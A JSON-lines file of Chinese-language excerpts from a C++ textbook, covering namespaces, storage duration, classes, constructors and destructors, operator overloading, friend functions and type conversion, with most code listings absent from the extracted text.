    {"text": "程序清单9.13 namessp.cpp 在程序清单9.13中，main( )函数首先使用了两个using声明： 注意，using声明只使用了名称，例如，第二个using声明没有描述showDebt的返回类型或函数特征标，而只给出了名称；"},
    {"text": "另外，虽然Debt和showDebt都使用了Person类型，但不必导入任何Person名称，因为debt名称空间有一条包含pers名称空间的using编译指令。 接下来，other( )函数采用了一种不太好的方法，即使用一条using编译指令导入整个名称空间： 由于debts中的using编译指令导入了pers名称空间，因此other( )函数可以使用Person类型和showPerson( )函数。"},
    {"text": "最后，another( )函数使用using声明和作用域解析运算符来访问具体的名称： 下面是程序清单9.11～程序清单9.13组成的程序的运行情况： 9.3.4 名称空间及其前途 随着程序员逐渐熟悉名称空间，将出现统一的编程理念。"},
    {"text": "如果开发了一个函数库或类库，将其放在一个名称空间中。 事实上，C++当前提倡将标准函数库放在名称空间std中，这种做法扩展到了来自C语言中的函数。 例如，头文件math.h是与C语言兼容的，没有使用名称空间，但C++头文件cmath应将各种数学库函数放在名称空间std中。"},
    {"text": "自动变量是在代码块（如函数体或函数体中的代码块）中定义的变量，仅当程序执行到包含定义的代码块时，它们才存在，并且可见。 自动变量可以通过使用存储类型说明符register或根本不使用说明符来声明，没有使用说明符时，变量将默认为自动的。"},
    {"text": "对于在函数外面定义的变量，其所属文件中位于该变量的定义后面的所有函数都可以使用它（文件作用域），并可在程序的其他文件中使用（外部链接性）。"},
    {"text": "另一个文件要使用这种变量，必须使用extern关键字来声明它。 对于文件间共享的变量，应在一个文件中包含其定义声明（无需使用extern，但如果同时进行初始化，也可使用它），并在其他文件中包含引用声明（使用extern且不初始化）。"},
    {"text": "在函数的外面使用关键字static定义的变量的作用域为整个文件，但是不能用于其他文件（内部链接性）。 在代码块中使用关键字static定义的变量被限制在该代码块内（局部作用域、无链接性），但在整个程序执行期间，它都一直存在并且保持原值。"},
    {"text": "5．在一个文件中调用average(3, 6)函数时，它返回两个int参数的int平均值，在同一个程序的另一个文件中调用时，它返回两个int参数的double平均值。"},
    {"text": "例如，包含一个让用户输入的循环，并使用输入的数据来填充一个由golf结构组成的数组，数组被填满或用户将高尔夫选手的姓名设置为空字符串时，循环将结束。"},
    {"text": "本章首先介绍类，将解释抽象、封装、数据隐藏，并演示类是如何实现这些特性的。 本章还将讨论如何定义类、如何为类提供公有部分和私有部分以及如何创建使用类数据的成员函数。"},
    {"text": "10.1 过程性编程和面向对象编程 虽然本书前面偶尔探讨过OOP在编程方面的前景，但讨论的更多的还是诸如C、Pascal和BASIC等语言的标准过程性方法。"},
    {"text": "如果是一位过程性程序员，可能会这样考虑： 我要输入每名选手的姓名、击球次数、击中次数、命中率（命中率指的是选手正式的击球次数除以击中次数；"},
    {"text": "可以用一个字符串数组来存储选手的姓名，用另一个数组存储每一位选手的击球数，再用一个数组存储击中数目等等。 这种方法太不灵活了，可以设计一个结构来存储每位选手的所有信息，然后用这种结构组成的数组来表示整个球队。"},
    {"text": "总之，采用过程性编程方法时，首先考虑要遵循的步骤，然后考虑如何表示这些数据（并不需要程序一直运行，用户可能希望能够将数据存储在一个文件中，然后从这个文件中读取数据）。"},
    {"text": "类声明：以数据成员的方式描述数据部分，以成员函数（被称为方法）的方式描述公有接口。 类方法定义：描述如何实现类成员函数。 简单地说，类声明提供了类的蓝图，而方法定义则提供了细节。"},
    {"text": "对于类，我们说公共接口。 在这里，公众（public）是使用类的程序，交互系统由类对象组成，而接口由编写类的人提供的方法组成。 接口让程序员能够编写与类对象交互的代码，从而让程序能够使用类对象。"},
    {"text": "例如，sally的company成员存储了公司名称，share成员存储了Sally持有的股票数量，share_val成员存储了每股的价格，total_val成员存储了股票总价格。"},
    {"text": "istream和ostream类有成员函数，如get( )和getline( )，而Stock类声明中的函数原型说明了成员函数是如何建立的。 例如，头文件iostream将getline( )的原型放在istream类的声明中。"},
    {"text": "数据隐藏（将数据放在类的私有部分中）是一种封装，将实现的细节隐藏在私有部分中，就像Stock类对set_tot( )所做的那样，也是一种封装。"},
    {"text": "例如，在第9章的一个示例（程序清单9.1、程序清单9.2、程序清单9.3）中，头文件中包含结构原型和操纵该结构的函数的原型，便是这样的例子。"},
    {"text": "例如，show( )成员将显示某支股票的总价格（还有其他内容），这个值可以存储在对象中（上述代码正是这样做的），也可以在需要时通过计算得到。"},
    {"text": "例如，update( )成员函数的函数头如下： 这种表示法意味着我们定义的update( )函数是Stock类的成员。 这不仅将update( )标识为成员函数，还意味着我们可以将另一个类的成员函数也命名为update( )。 例如，Buffoon( )类的update( )函数的函数头如下： 因此，作用域解析运算符确定了方法定义对应的类的身份。 我们说，标识符update( )具有类作用域（class scope）。 Stock类的其他成员函数不必使用作用域解析运算符，就可以使用update( )方法，这是因为它们属于同一个类，因此update( )是可见的。"},
    {"text": "程序清单10.2 stock00.cpp 1．成员函数说明 acquire( )函数管理对某个公司股票的首次购买，而buy( )和sell( )管理增加或减少持有的股票。"},
    {"text": "由于set_tot( )只是实现代码的一种方式，而不是公有接口的组成部分，因此这个类将其声明为私有成员函数（即编写这个类的人可以使用它，但编写代码来使用这个类的人不能使用）。"},
    {"text": "2．内联方法 其定义位于类声明中的函数都将自动成为内联函数，因此Stock::set_tot( )是一个内联函数。 类声明常将短小的成员函数作为内联函数，set_tot( )符合这样的要求。"},
    {"text": "为此，只需在类实现部分中定义函数时使用inline限定符即可： 内联函数的特殊规则要求在每个使用它们的文件中都对其进行定义。 确保内联定义对多文件程序中的所有文件都可用的、最简便的方法是：将内联定义放在定义类的头文件中（有些开发系统包含智能链接程序，允许将内联定义放在一个独立的实现文件）。"},
    {"text": "这意味着show( )方法将把shares解释为kate.shares，将share_vla解释为kate.share_val。 同样，函数调用joe.show( )使show( )方法将shares和share_val分别解释为joe.share和joe.share_val。"},
    {"text": "例如，假设kate和joe都是Stock对象，则kate.shares将占据一个内存块，而joe.shares占用另一个内存块，但kate.show( )和joe.show( )都调用同一个方法，也就是说，它们将执行同一个代码块，只是将这些代码用于不同的数据。"},
    {"text": "在OOP中，调用成员函数被称为发送消息，因此将同样的消息发送给两个不同的对象将调用同一个方法，但该方法被用于两个不同的对象（参见图10.2）。"},
    {"text": "这里不做太详细的探索，只需像在程序清单8.8那样使用方法setf()，便可避免科学计数法： 这设置了cout对象的一个标记，命令cout使用定点表示法。"},
    {"text": "为此，可以像程序清单8.8那样，使用返回的值： 您可能还记得，fmtflags是在ios_base类中定义的一种类型，而ios_base类又是在名称空间std中定义的，因此orig的类型名非常长。"},
    {"text": "声明有私有部分，在其中声明的成员只能通过成员函数进行访问； 声明还具有公有部分，在其中声明的成员可被使用类对象的程序直接访问。 通常，数据成员被放在私有部分中，成员函数被放在公有部分中，因此典型的类声明的格式如下： 公有部分的内容构成了设计的抽象部分——公有接口。"},
    {"text": "例如，假设Bozo有一个名为Retort( )的成员函数，该函数返回char指针，则其函数头如下所示： 换句话来说，Retort( )不仅是一个char *类型的函数，而是一个属于Bozo类的char *函数。"},
    {"text": "而名称Retort( )是限定名的缩写，只能在某些特定的环境中使用，如类方法的代码中。 另一种描述这种情况的方式是，名称Retort的作用域为整个类，因此在类声明和类方法之外使用该名称时，需要使用作用域解析运算符进行限定。"},
    {"text": "为此，需要使用成员运算符句点： 这将调用Retort( )成员函数，每当其中的代码引用某个数据成员时，该函数都将使用bozetta对象中相应成员的值。"},
    {"text": "C++的目标之一是让使用类对象就像使用标准类型一样，然而，到现在为止，本章提供的代码还不能让您像初始化int或结构那样来初始化Stock对象。 也就是说，常规的初始化语法不适用于类型Stock： 不能像上面这样初始化Stock对象的原因在于，数据部分的访问状态是私有的，这意味着程序不能直接访问数据成员。"},
    {"text": "您已经看到，程序只能通过成员函数来访问数据成员，因此需要设计合适的成员函数，才能成功地将对象初始化（如果使数据成员成为公有，而不是私有，就可以按刚才介绍的方法初始化类对象，但使数据成为公有的违背了类的一个主要初衷：数据隐藏）。"},
    {"text": "因此，参数名不能与类成员相同，否则最终的代码将是这样的： 为避免这种混乱，一种常见的做法是在数据成员名中使用m_前缀： 另一种常见的做法是，在成员名中使用后缀_： 无论采用哪种做法，都可在公有接口中在参数名中包含company和shares。"},
    {"text": "另一种方式是隐式地调用构造函数： 这种格式更紧凑，它与下面的显式调用等价： 每次创建类对象（甚至使用new动态分配内存）时，C++都使用类构造函数。"},
    {"text": "一般来说，使用对象来调用方法： 但无法使用对象来调用构造函数，因为在构造函数构造出对象之前，对象是不存在的。 因此构造函数被用来创建对象，而不能通过对象来调用。 10.3.3 默认构造函数 默认构造函数是在未提供显式初始值时，用来创建对象的构造函数。"},
    {"text": "对于Stock类来说，默认构造函数可能如下： 因此将创建fluffy_the_cat对象，但不初始化其成员，这和下面的语句创建x，但没有提供值给它一样： int x; 默认构造函数没有参数，因为声明中不包含值。"},
    {"text": "如果提供了非默认构造函数（如Stock(const char * co, int n, double pr)），但没有提供默认构造函数，则下面的声明将出错： 这样做的原因可能是想禁止创建未初始化的对象。"},
    {"text": "定义默认构造函数的方式有两种。 一种是给已有构造函数的所有参数提供默认值： 另一种方式是通过函数重载来定义另一个构造函数——一个没有参数的构造函数： 由于只能有一个默认构造函数，因此不要同时采用这两种方式。"},
    {"text": "使用上述任何一种方式（没有参数或所有参数都有默认值）创建了默认构造函数后，便可以声明对象变量，而不对它们进行显式初始化： 然而，不要被非默认构造函数的隐式形式所误导： 第一个声明调用非默认构造函数，即接受参数的构造函数；"},
    {"text": "10.3.4 析构函数 用构造函数创建对象后，程序负责跟踪该对象，直到其过期为止。 对象过期时，程序将自动调用一个特殊的成员函数，该函数的名称令人生畏——析构函数。"},
    {"text": "与构造函数不同的是，析构函数没有参数，因此Stock析构函数的原型必须是这样的： 由于Stock的析构函数不承担任何重要的工作，因此可以将它编写为不执行任何操作的函数： 然而，为让您能看出析构函数何时被调用，这样编写其代码： 什么时候应调用析构函数呢？"},
    {"text": "如果创建的是静态存储类对象，则其析构函数将在程序结束时自动被调用。 如果创建的是自动存储类对象（就像前面的示例中那样），则其析构函数将在程序执行完代码块时（该对象是在其中定义的）自动被调用。 如果对象是通过new创建的，则它将驻留在栈内存或自由存储区中，当使用delete来释放内存时，其析构函数将自动被调用。 最后，程序可以创建临时对象来完成特定的操作，在这种情况下，程序将在结束对该对象的使用时自动调用其析构函数。 由于在类对象过期时析构函数将自动被调用，因此必须有一个析构函数。"},
    {"text": "下面是使用某个编译器得到的可执行程序的输出： 使用某些编译器编译该程序时，该程序输出的前半部分可能如下（比前面多了一行）： 下一小节将解释输出行“Bye, Boffo Objects!”。"},
    {"text": "4．程序说明 程序清单10.6中的下述语句： 创建一个名为stock1的Stock对象，并将其数据成员初始化为指定的值： 下面的语句使用另一种语法创建并初始化一个名为stock2的对象： C++标准允许编译器使用两种方式来执行第二种语法。 一种是使其行为和第一种语法完全相同： 另一种方式是允许调用构造函数来创建一个临时对象，然后将该临时对象复制到stock2中，并丢弃它。"},
    {"text": "如果编译器使用的是这种方式，则将为临时对象调用析构函数，因此生成下面的输出： 生成上述输出的编译器可能立刻删除临时对象，但也可能会等一段时间，在这种情况下，析构函数的消息将会过一段时间才显示。"},
    {"text": "下面的语句表明可以将一个对象赋给同类型的另一个对象： 与给结构赋值一样，在默认情况下，给类对象赋值时，将把一个对象的成员复制给另一个。"},
    {"text": "随后程序调用析构函数，以删除该临时对象，如下面经过注释后的输出所示： 有些编译器可能要过一段时间才删除临时对象，因此析构函数的调用将延迟。"},
    {"text": "由于这种自动变量被放在栈中，因此最后创建的对象将最先被删除，最先创建的对象将最后被删除（“NanoSmart”最初位于stock1中，但随后被传输到stock2中，然后stock1被重置为“Nifty Food”）。"},
    {"text": "可以，只要提供与某个构造函数的参数列表匹配的内容，并用大括号将它们括起： 在前两个声明中，用大括号括起的列表与下面的构造函数匹配： 因此，将使用该构造函数来创建这两个对象。"},
    {"text": "通常，构造函数用于初始化类对象的成员，初始化应与构造函数的参数列表匹配。 例如，假设Bozo类的构造函数的原型如下： 则可以使用它来初始化新对象： 如果编译器支持C++11，则可使用列表初始化： 如果构造函数只有一个参数，则将对象初始化为一个与参数的类型相同的值时，该构造函数将被调用。 例如，假设有这样一个构造函数原型： 则可以使用下面的任何一种形式来初始化对象： 实际上，第三个示例是新内容，不属于复习内容，但现在正是介绍它的好时机。"},
    {"text": "警告： 接受一个参数的构造函数允许使用赋值语法将对象初始化为一个值： 这种特性可能导致问题，但正如第11章将介绍的，可关闭这项特性。 默认构造函数没有参数，因此如果创建对象时没有进行显式地初始化，则将调用默认构造函数。 如果程序中没有提供任何构造函数，则编译器会为程序定义一个默认构造函数； 否则，必须自己提供默认构造函数。 默认构造函数可以没有任何参数； 如果有，则必须给所有参数都提供默认值： 对于未被初始化的对象，程序将使用默认构造函数来创建： 就像对象被创建时程序将调用构造函数一样，当对象被删除时，程序将调用析构函数。"},
    {"text": "也就是说，可以使用方法total_val( )来获得total_val的值，但这个类没有提供专门用于重新设置total_val的值的方法（作为一种副产品，其他方法，如buy( )、sell( )和update( )确实在重新设置成员shares和share_val的值的同时修改了total_val的值）。"},
    {"text": "假设要对Stock对象stock1和stock2进行比较，并将其中股价总值较高的那一个赋给top对象，则可以使用下面两条语句之一： 第一种格式隐式地访问stock1，而显式地访问stock2； 第二种格式显式地访问stock1，而隐式地访问stock2（参见图10.3）。"},
    {"text": "这样，函数调用stock1.topval（stock2）将this设置为stock1对象的地址，使得这个指针可用于topval( )方法。 同样，函数调用stock2.topval（stock1）将this设置为stock2对象的地址。"},
    {"text": "注意： 每个成员函数（包括构造函数和析构函数）都有一个this指针。 this指针指向调用对象。 如果方法需要引用整个调用对象，则可以使用表达式*this。 在函数的括号后面使用const限定符将this限定为const，这样将不能使用this来修改对象的值。 然而，要返回的并不是this，因为this是对象的地址，而是对象本身，即*this（将解除引用运算符*用于指针，将得到指针指向的值）。 现在，可以将*this作为调用对象的别名来完成前面的方法定义。 图10.4 this指向调用对象 返回类型为引用意味着返回的是调用对象本身，而不是其副本。"},
    {"text": "这似乎是在介绍一个未知领域，但实际上，声明对象数组的方法与声明标准类型数组相同： 前面讲过，当程序创建未被显式初始化的类对象时，总是调用默认构造函数。 上述声明要求，这个类要么没有显式地定义任何构造函数（在这种情况下，将使用不执行任何操作的隐式默认构造函数），要么定义了一个显式默认构造函数（就像这个例子那样）。"},
    {"text": "如果类包含多个构造函数，则可以对不同的元素使用不同的构造函数： 上述代码使用Stock(const string & co, long n, double pr)初始化stock[0]和stock[2]，使用构造函数Stock( )初始化stock[1]。"},
    {"text": "初始化对象数组的方案是，首先使用默认构造函数创建数组元素，然后花括号中的构造函数将创建临时对象，然后将临时对象的内容复制到相应的元素中。"},
    {"text": "处理方法的定义时，只需将下面这样的C++方法定义： 转换为下面这样的C-风格定义： 即将Stock::限定符转换为函数参数（指向Stock的指针），然后用这个指针来访问类成员。"},
    {"text": "也就是说，要调用公有成员函数，必须通过对象： 同样，在定义成员函数时，必须使用作用域解析运算符： 总之，在类声明或成员函数定义中，可以使用未修饰的成员名称（未限定的名称），就像sell( )调用set_tot( )成员函数时那样。"},
    {"text": "例如，类声明可能使用字面值30来指定数组的长度，由于该常量对于所有对象来说都是相同的，因此创建一个由所有对象共享的常量是个不错的主意。"},
    {"text": "顺便说一句，在很多实现中，ios_base类在其公有部分中完成了类似的工作，诸如ios_base::fixed等标识符就来自这里。 其中，fixed是ios_base类中定义的典型的枚举量。"},
    {"text": "C++提供了另一种在类中定义常量的方式——使用关键字static： 这将创建一个名为Months的常量，该常量将与其他静态变量存储在一起，而不是存储在对象中。"},
    {"text": "假设有一个处理鸡蛋和T恤的项目，其中可能包含类似下面这样的代码： 这将无法通过编译，因为egg Small和t_shirt Small位于相同的作用域内，它们将发生冲突。"},
    {"text": "无论使用哪种方式，都需要使用枚举名来限定枚举量： 枚举量的作用域为类后，不同枚举定义中的枚举量就不会发生名称冲突了，而您可继续编写处理鸡蛋和T恤的项目。"},
    {"text": "在有些情况下，常规枚举将自动转换为整型，如将其赋给int变量或用于比较表达式时，但作用域内枚举不能隐式地转换为整型： 但在必要时，可进行显式类型转换： 枚举用某种底层整型类型表示，在C++98中，如何选择取决于实现，因此包含枚举的结构的长度可能随系统而异。"},
    {"text": "程序清单10.12 stacker.cpp 程序清单10.12中的while循环删除输入行中剩余部分，就现在而言这并非是必不可少的，但它使程序的修改更方便（第14章将对这个程序进行修改）。"},
    {"text": "如果mr_object是对象名，try_me( )是成员函数，则可以使用成员运算符句点调用成员函数：mr_object.try_me( )。 在OOP中，这种函数调用被称为将try_me消息发送给mr_object对象。 在try_me( )方法中引用类数据成员时，将使用mr_object对象相应的数据成员。 同样，函数调用i_object.try_me( )将访问i_object对象的数据成员。"},
    {"text": "用带合适参数的构造函数替换setgolf（golf &, const char *, int），以提供初始值。 保留setgolf( )的交互版本，但要用构造函数来实现它（例如，setgolf( )的代码应该获得数据，将数据传递给构造函数来创建一个临时对象，并将其赋给调用对象，即*this）。"},
    {"text": "对于访问数据项以及执行操作，通常应使用将函数指针作为参数的函数来处理： 其中，pf指向一个将Item引用作为参数的函数（不是成员函数），Item是列表中数据项的类型。"},
    {"text": "不要害怕犯错误，因为在解决问题的过程中学到的知识，比生搬硬套而不犯错误时要多得多（然而，不要认为所有的错误就都会让人增长见识）。"},
    {"text": "这被称为函数重载或函数多态，旨在让您能够用同名的函数来完成相同的基本操作，即使这种操作被用于不同的数据类型（想象一下，如果必须对不同的物体使用不同的动词，如抬起左脚（lift_lft），拿起汤匙（lift_sp），英语将会多么笨拙）。"},
    {"text": "要重载运算符，需使用被称为运算符函数的特殊函数形式。 运算符函数的格式如下： 例如，operator +( )重载+运算符，operator *( )重载*运算符。"},
    {"text": "例如，假设有一个Salesperson类，并为它定义了一个operator +( )成员函数，以重载+运算符，以便能够将两个Saleperson对象的销售额相加，则如果district2、sid和sara都是Salesperson类对象，便可以编写这样的等式： 编译器发现，操作数是Salesperson类对象，因此使用相应的运算符函数替换上述运算符： 然后该函数将隐式地使用sid（因为它调用了方法），而显式地使用sara对象（因为它被作为参数传递），来计算总和，并返回这个值。"},
    {"text": "虽然C++对运算符重载做了一些限制，但了解重载的工作方式后，这些限制就很容易理解了。 因此，下面首先通过一些示例对运算符重载进行阐述，然后再讨论这些限制。"},
    {"text": "11.2 计算时间：一个运算符重载示例 如果今天早上在Priggs的账户上花费了2小时35分钟，下午又花费了2小时40分钟，则总共花了多少时间呢？"},
    {"text": "程序清单11.3 usetime0.cpp 下面是程序清单11.1、程序清单11.2和程序清单11.3组成的程序的输出： 11.2.1 添加加法运算符 将Time类转换为重载的加法运算符很容易，只要将Sum( )的名称改为operator +( )即可。"},
    {"text": "程序清单11.4 mytime1.h 程序清单11.5 mytime1.cpp 和Sum( )一样，operator +( )也是由Time对象调用的，它将第二个Time对象作为参数，并返回一个Time对象。"},
    {"text": "因此，可以像调用Sum( )那样来调用operator +( )方法： 但将该方法命令为operator +( )后，也可以使用运算符表示法： 这两种表示法都将调用operator +( )方法。"},
    {"text": "程序清单11.6 usetime1.cpp 下面是程序清单11.4～程序清单11.6组成的程序的输出： 总之，operator +( )函数的名称使得可以使用函数表示法或运算符表示法来调用它。"},
    {"text": "由于+是从左向右结合的运算符，因此上述语句首先被转换成下面这样： 然后，函数参数本身被转换成一个函数调用，结果如下： 上述语句合法吗？"},
    {"text": "函数调用t2.operator+(t3)返回一个Time对象，后者是t2和t3的和。 然而，该对象成为函数调用t1.operator+( )的参数，该调用返回t1与表示t2和t3之和的Time对象的和。"},
    {"text": "const_cast：强制类型转换运算符。 dynamic_cast：强制类型转换运算符。 reinterpret_cast：强制类型转换运算符。 static_cast：强制类型转换运算符。"},
    {"text": "表11.1 可重载的运算符 + - * / % ^ & ｜ ~= ! = < > += -= *= /= %= ^= &= ｜= << >> >>= <<= == != <= >= && ‖ ++ −− , −>* −> () [] new delete new [] delete [] 除了这些正式限制之外，还应在重载运算符时遵循一些明智的限制。"},
    {"text": "程序清单11.7 mytime2.h 然后将新增方法的定义添加到实现文件中，如程序清单11.8所示。 程序清单11.8 mytime2.cpp 完成上述修改后，就可以使用程序清单11.9中的代码来测试新定义了。"},
    {"text": "程序清单11.9 usetime2.cpp 下面是程序清单11.7～程序清单11.9组成的程序得到的输出： 11.3 友元 您知道，C++控制对类对象私有部分的访问。"},
    {"text": "在前面的Time类示例中，重载的乘法运算符与其他两种重载运算符的差别在于，它使用了两种不同的类型。 也就是说，加法和减法运算符都结合两个Time值，而乘法运算符将一个Time值与一个double值结合在一起。"},
    {"text": "这样，编译器能够将下面的表达式： 与下面的非成员函数调用匹配： 该函数的原型如下： 对于非成员重载运算符函数来说，运算符表达式左边的操作数对应于运算符函数的第一个参数，运算符表达式右边的操作数对应于运算符函数的第二个参数。"},
    {"text": "使用非成员函数可以按所需的顺序获得操作数（先是double，然后是Time），但引发了一个新问题：非成员函数不能直接访问类的私有数据，至少常规非成员函数不能访问。"},
    {"text": "11.3.1 创建友元 创建友元函数的第一步是将其原型放在类声明中，并在原型声明前加上关键字friend： 该原型意味着下面两点： 虽然operator *( )函数是在类声明中声明的，但它不是成员函数，因此不能使用成员运算符来调用；"},
    {"text": "另外，不要在定义中使用关键字friend，定义应该如下： 有了上述声明和定义后，下面的语句： 将转换为如下语句，从而调用刚才定义的非成员友元函数： 总之，类的友元函数是非成员函数，其访问权限与成员函数相同。"},
    {"text": "实际上，按下面的方式对定义进行修改（交换乘法操作数的顺序），可以将这个友元函数编写为非友元函数： 原来的版本显式地访问t.minutes和t.hours，所以它必须是友元。"},
    {"text": "提示： 如果要为类重载运算符，并将非类的项作为其第一个操作数，则可以用友元函数来反转操作数的顺序。 11.3.2 常用的友元：重载<<运算符 一个很有用的类特性是，可以对<<运算符进行重载，使之能与cout一起来显示对象的内容。"},
    {"text": "因为下面这样的语句使用两个对象，其中第一个是ostream类对象（cout）： 如果使用一个Time成员函数来重载<<，Time对象将是第一个操作数，就像使用成员函数重载*运算符那样。"},
    {"text": "像下面这样的语句可以正常工作： 但这种实现不允许像通常那样将重新定义的<<运算符与cout一起使用： 要理解这样做不可行的原因以及必须如何做才能使其可行，首先需要了解关于cout操作的一点知识。"},
    {"text": "显然，因为cout是ostream对象，所以表达式cout << x满足这种要求。 然而，因为表达式cout << x位于<< y的左侧，所以输出语句也要求该表达式是一个ostream类型的对象。"},
    {"text": "这意味着该函数返回ostream对象的引用。 因为函数开始执行时，程序传递了一个对象引用给它，这样做的最终结果是，函数的返回值就是传递给它的对象。 也就是说，下面的语句： 将被转换为下面的调用： 而该调用返回cout对象。"},
    {"text": "首先，下面的代码调用ostream中的<<定义，它显示字符串并返回cout对象： 因此表达式cout << “Trip time:”将显示字符串，然后被它的返回值cout所替代。 原来的语句被简化为下面的形式： 接下来，程序使用<<的Time声明显示trip值，并再次返回cout对象。 这将语句简化为： 现在，程序使用ostream中用于字符串的<<定义，来显示最后一个字符串，并结束运行。"},
    {"text": "有趣的是，这个operator<<( )版本还可用于将输出写入到文件中： 其中最后一条语句将被转换为这样： 另外，正如第8章指出的，类继承属性让ostream引用能够指向ostream对象和ofstream对象。"},
    {"text": "提示：一般来说，要重载<<运算符来显示c_name的对象，可使用一个友元函数，其定义如下： 程序清单11.10列出了修改后的类定义，其中包括operator*( )和operator<<( )这两个友元函数。"},
    {"text": "另外，由于在mytime3.h中包含了iostream并提供了using声明std::ostream，因此在mytime3.cpp中包含mytime3.h后，便提供了在实现文件中使用ostream的支持。"},
    {"text": "程序清单11.12 usetime3.cpp 下面是程序清单11.10～程序清单11.12组成的程序的输出： 11.4 重载运算符：作为成员函数还是非成员函数 对于很多运算符来说，可以选择使用成员函数或非成员函数来实现运算符重载。"},
    {"text": "也就是说，编译器将下面的语句： 转换为下面两个的任何一个： 记住，在定义运算符时，必须选择其中的一种格式，而不能同时选择这两种格式。"},
    {"text": "如果逆行，则向高速公路的巡警辩解没有超速、超载是徒劳的（免疫学家和计算机专家使用术语矢量的方式不同，请不要考虑这一点，至少在第16章介绍计算机科学版本——vector模板类之前应如此）。"},
    {"text": "可以使用矢量来描述这类问题。 例如，可以用矢量来描述如何在屏幕上移动（放置）对象，即用箭头从起始位置画到终止位置，来对它作形象化处理。"},
    {"text": "描述二维矢量只需两个数，但可以选择到底使用哪两个数： 图11.1 使用矢量描述位移 图11.2 将两个矢量相加 可以用大小（长度）和方向（角度）描述矢量；"},
    {"text": "这将把该点沿与水平方向呈53.1度的方向移动50个单位，因此，水平分量为30个单位、垂直分量为40个单位的矢量，与长度为50个单位、方向为53.1度的矢量相同。"},
    {"text": "图11.3 矢量的x和y分量 有时一种表示形式更方便，而有时另一种更方便，因此类描述中将包含这两种表示形式（参见本章后面的旁注“多种表示方式和类”）。"},
    {"text": "假设shove是一个Vector对象，而您编写了如下代码： 可以使用构造函数来得到相同的结果： 然而，方法set( )直接修改shove的内容，而使用构造函数将增加额外的步骤：创建一个临时对象，然后将其赋给shove。"},
    {"text": "它使用名为mode的成员来控制使用构造函数、reset( )方法和重载的operator<<( )函数使用哪种形式，其中枚举RECT表示直角坐标模式（默认值）、POL表示极坐标模式。"},
    {"text": "注意，如果用户提供的是x值和y值，则构造函数将使用私有方法set_mag( )和set_ang( )来设置距离和角度值； 如果提供的是距离和角度值，则构造函数将使用set_x( )和set_y( )方法来设置x值和y值。"},
    {"text": "像下面这样的调用无法通过编译，因为诸如2等整数不能隐式地转换为枚举类型： 然而，机智而好奇的用户可尝试下面这样的代码，看看结果如何： 就这里而言，编译器将发出警告。"},
    {"text": "接下来，operator<<( )函数也使用模式来确定如何显示值： 由于operator<<()是一个友元函数，而不在类作用域内，因此必须使用Vector::RECT，而不能使用RECT。"},
    {"text": "11.5.2 为Vector类重载算术运算符 在使用x、y坐标时，将两个矢量相加将非常简单，只要将两个x分量相加，得到最终的x分量，将两个y分量相加，得到最终的y分量即可。"},
    {"text": "可以通过添加另外一些代码来解决这种问题： 然而，使用构造函数来完成这种工作，将更简单、更可靠： 上述代码将新的x分量和y分量传递给Vector构造函数，而后者将使用这些值来创建无名的新对象，并返回该对象的副本。"},
    {"text": "上述函数用于处理Vector值和double值相乘。 可以像Time示例那样，使用一个内联友元函数来处理double与Vector相乘： 2．对已重载的运算符进行重载 在C++中，−运算符已经有两种含义。"},
    {"text": "下面的语句： 将被转换为下面的成员函数调用： 这意味着将从隐式矢量参数减去以显式参数传递的矢量，所以应使用x − b.x，而不是b.x − x。"},
    {"text": "注意： 因为运算符重载是通过函数来实现的，所以只要运算符函数的特征标不同，使用的运算符数量与相应的内置C++运算符相同，就可以多次重载同一个运算符。"},
    {"text": "正如前面指出的，对象可以只存储x和y分量，而返回矢量长度的magval( )方法可以根据x和y的值来计算出长度，而不是查找对象中存储的这个值。"},
    {"text": "概率理论表明，平均而言，步数（N）、步长（s），净距离D之间的关系如下： 这只是平均情况，但每次试验结果可能相差很大。 例如，进行1000次试验（走50英尺，步长为2英尺）时，平均步数为636（与理论值625非常接近），但实际步数位于91～3951。 同样，进行1000次试验（走50英尺，步长为1英尺）时，平均步数为2557（与理论值2500非常接近），但实际步数位于345～10882。"},
    {"text": "下面的using声明使Vector类的名称可用： 因为所有的Vector类方法的作用域都为整个类，所以导入类名后，无需提供其他using声明，就可以使用Vector的方法。"},
    {"text": "因此，下面的语句在每次运行程序时，都将设置不同的种子，使随机输出看上去更为随机： 头文件cstdlib（以前为stdlib.h）包含了srand( )和rand( )的原型，而ctime（以前是time.h）包含了time( )的原型。"},
    {"text": "该函数使用默认构造函数以RECT模式创建矢量。 因此，被赋给result的矢量的模式为RECT。 默认情况下，赋值时将分别给每个成员变量赋值，因此将RECT赋给了result.mode。"},
    {"text": "首先包含头文件fstream，声明一个ofstream对象，将其同一个文件关联起来： 然后，在计算结果的循环中加入类似于下面的代码： 这将调用友元函数operator<<(fout, result)，导致引用参数os指向fout，从而将输出写入到文件中。"},
    {"text": "本节讨论C++如何处理用户定义类型的转换。 在讨论这个问题之前，我们先来复习一下C++是如何处理内置类型转换的。 将一个标准类型变量的值赋给另一种标准类型的变量时，如果这两种类型兼容，则C++自动将这个值转换为接收变量的类型。 例如，下面的语句都将导致数值类型转换： 上述赋值语句都是可行的，因为在C++看来，各种数值类型都表示相同的东西——一个数字，同时C++包含用于进行转换的内置规则。"},
    {"text": "例如，下面的语句是非法的，因为左边是指针类型，而右边是数字： 虽然计算机内部可能使用整数来表示地址，但从概念上说，整数和指针完全不同。"},
    {"text": "对于在一个实体中包含一个概念的两种表示来说，类提供了一种非常好的方式。 因此可以将重量的两种表示放在同一个类中，然后提供以这两种方式表达重量的类方法。"},
    {"text": "也可以采用下面这种方法： Stonewt类有3个构造函数，让您能够将Stonewt对象初始化为一个浮点数（单位为磅）或两个浮点数（分别代表英石和磅）。 也可以创建Stonewt对象，而不进行初始化： 这个类并非真的需要声明构造函数，因为自动生成的默认构造函数就很好。"},
    {"text": "因此，下面的构造函数用于将double类型的值转换为Stonewt类型： 也就是说，可以编写这样的代码： 程序将使用构造函数Stonewt(double)来创建一个临时的Stonewt对象，并将19.6作为初始化值。"},
    {"text": "下面的构造函数有两个参数，因此不能用来转换类型： 然而，如果给第二个参数提供默认值，它便可用于转换int： 将构造函数用作自动类型转换函数似乎是一项不错的特性。"},
    {"text": "也就是说，可以这样声明构造函数： 这将关闭上述示例中介绍的隐式转换，但仍然允许显式转换，即显式强制类型转换： 注意： 只接受一个参数的构造函数定义了从参数类型到类类型的转换。"},
    {"text": "程序清单11.18 stone.cpp 下面是程序清单11.18所示程序的输出： 程序说明 当构造函数只接受一个参数时，可以使用下面的格式来初始化类对象： 这等价于前面介绍过过的另外两种格式： 然而，后两种格式可用于接受多个参数的构造函数。"},
